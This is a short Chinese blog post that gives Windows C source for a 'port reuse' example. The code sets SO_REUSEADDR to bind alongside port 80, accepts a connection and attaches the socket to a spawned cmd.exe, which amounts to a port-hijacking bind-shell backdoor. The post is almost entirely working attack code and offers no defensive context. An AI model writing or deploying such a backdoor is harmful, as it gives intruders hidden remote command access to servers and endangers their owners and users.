端口复用小示例

From:寂 个人Blog

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib,"ws2_32")

int main()
{
WSADATA ws;
SOCKET listenFD;
WSAStartup(MAKEWORD(2,2),&ws);
listenFD = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
BOOL val = TRUE;
setsockopt(listenFD,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(80);
server.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

bind(listenFD,(sockaddr *)&server,sizeof(server));
listen(listenFD,2);
int iAddrSize=sizeof(server);
SOCKET clientFD = accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[]="cmd";
PROCESS_INFORMATION ProcessInforation;
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInforation);
return 0;
}

你可能感兴趣的:(端口)